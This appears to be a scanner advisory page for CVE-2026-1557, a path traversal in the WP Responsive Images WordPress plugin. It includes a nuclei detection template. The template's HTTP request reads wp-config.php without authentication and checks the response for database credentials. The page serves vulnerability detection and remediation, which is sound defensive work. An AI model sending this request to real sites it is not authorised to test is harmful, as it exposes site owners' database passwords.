CVE-2026-1557
WP Responsive Images <= 1.0 - Arbitrary File Read
highseverity
7.5CVSS score
1.9%likelihood of exploitation, next 30 days
80%of all CVEs are less likely
Readycheck to confirm it
WP Responsive Images plugin for WordPress <= 1.0 contains a path traversal caused by improper sanitization of the 'src' parameter, letting unauthenticated attackers read arbitrary files on the server.
Impact
nauthenticated attackers can read arbitrary files, potentially exposing sensitive information.
Fix
Update to the latest version of WP Responsive Images plugin.
How to confirm it
Send: GET /wp-content/plugins/wp-responsive-images/image_handler.php?src=/wp-config.php
Positive when: status_code==200 || status_code==403 and contains_all(body, "DB_NAME", "DB_PASSWORD")Run it with nuclei: nuclei -id CVE-2026-1557 -u <target>
The full check
id: CVE-2026-1557
info:
name: WP Responsive Images <= 1.0 - Arbitrary File Read
author: Shivam Kamboj
severity: high
description: |
WP Responsive Images plugin for WordPress <= 1.0 contains a path traversal caused by improper sanitization of the 'src' parameter, letting unauthenticated attackers read arbitrary files on the server.
impact: |
nauthenticated attackers can read arbitrary files, potentially exposing sensitive information.
remediation: |
Update to the latest version of WP Responsive Images plugin.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-responsive-images/wp-responsive-images-10-unauthenticated-path-traversal-to-arbitrary-file-read-via-src
- https://nvd.nist.gov/vuln/detail/CVE-2026-1557
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-1557
epss-score: 0.01866
epss-percentile: 0.79471
metadata:
max-request: 1
verified: true
tags: cve,cve2026,wordpress,wp,wp-plugin,lfi,wp-responsive-images,vkev
http:
- raw:
- |
GET /wp-content/plugins/wp-responsive-images/image_handler.php?src=/wp-config.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code==200 || status_code==403'
- 'contains_all(body, "DB_NAME", "DB_PASSWORD")'
condition: andReferences
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-responsive-images/wp-responsive-images-10-unauthenticated-path-traversal-to-arbitrary-file-read-via-src
- https://nvd.nist.gov/vuln/detail/CVE-2026-1557
Use this check only on systems you are authorised to test. Where the data comes from